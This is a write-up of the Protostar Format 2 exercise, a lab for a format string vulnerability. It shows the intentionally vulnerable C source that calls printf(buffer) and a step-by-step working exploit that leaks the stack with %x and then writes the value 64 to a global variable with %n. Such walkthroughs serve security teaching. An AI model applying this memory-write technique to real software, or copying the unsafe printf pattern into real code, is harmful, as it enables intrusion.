Protostar: Format 2

This is the third uncontrolled format string vulnerability exercise from the Protostar image at Exploit Exercises. It is very similar to the last exercise except now we have to control the value we are writing with our exploit.

The Source

For this challenge we are given the following source:

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int target;

void vuln()
{
  char buffer[512];

  fgets(buffer, sizeof(buffer), stdin);
  printf(buffer);
  
  if(target == 64) {
      printf("you have modified the target :)\n");
  } else {
      printf("target is %d :(\n", target);
  }
}

int main(int argc, char **argv)
{
  vuln();
}

Reading through there are just a few differences from the last challenge. Our input is no longer taken from a command line argument, but is instead taken over stdin. This means if we want to use our python command replacement to handle repetitve typing and non-printable bytes we will have to pipe them in from echo.

The Vulnerability

Once again there is an improper use of printf() which exposes the program to attack.

The call should look like:

printf("%s", buffer);

but instead looks like this:

printf(buffer);

This time we need to overwrite target with the value to get our success message.

The Exploit

Once again we start by finding the address of our input on the stack. This time it should be a little easier as it is taken by fgets() right before the call to printf(). To pass it over stdin I piped the result of echo into an execution of format2:

echo AAAA`python -c 'print ".%x"*6'` | ./format2
AAAA.200.b7fd8420.bffff664.41414141.2e78252e.252e7825
target is 0 :(

So our input is the 4th position on the stack. Now we can get the address of target the same way we did last time as it is still uninitialized and exists in the bss segment.

objdump -t format2 | grep "target"
080496e4 g    0 .bss   00000004            target

Now we can build our exploit like we did last time using Direct Parameter Acccess (DPA):

echo `python -c 'print "\xe4\x96\x04\x08%4$n"'` | ./format2
♦
target is 4 :(

As we expected target is now 4! This is because so far we have written 4 bytes of data with our format string. How can we add 60 characters to increase that value to 64 and get our success message? Well, we have done this before! In Format 0 we used a width field to overflow a buffer, now we can use it to save space and sanity in our write:

echo `python -c 'print "\xe4\x96\x04\x08%60x%4$n"'` | ./format2
                                                                200
you have modified the target :)

We have succeeded in changing target to by doing a single byte write with %n and increasing the characters printed with %x.